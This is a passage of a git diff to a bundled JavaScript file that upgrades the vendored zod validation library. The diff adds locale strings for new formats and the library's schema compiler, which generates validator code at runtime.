"\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98841,12 +101399,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -98915,17 +101477,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -98951,12 +101514,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -99023,17 +101590,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -99059,12 +101627,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -99131,14 +101703,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -99185,21 +101757,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone3 = withParser(schema, parser); + clone3._zod.bag.validator = compileValidator(schema, parser); + return clone3; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone3 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone3._zod.bag.fallbackRun = originalRun; + clone3._zod.bag.validator = parser; + clone3._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone3, schema, parser); + return clone3; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result2 = schema._zod.run({ value, issues: [] }, {}); + if (result2 && typeof result2.then === "function") + return INVALID; + const r = result2; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min2 = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min2} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min2}) return INVALID;`); + break; + } + case "max_length": { + const max2 = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max2}`); + doc.write(`if (${len} > ${max2}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result2 = checkFn(fakePayload); + if (result2 instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys2 = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys2 = symbolKeys.length ? [...keys2, ...symbolKeys] : keys2; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys2.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys2) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys2.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys2.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys2.length > 0 ? addConstant(ctx, new Set(keys2)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys2.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} 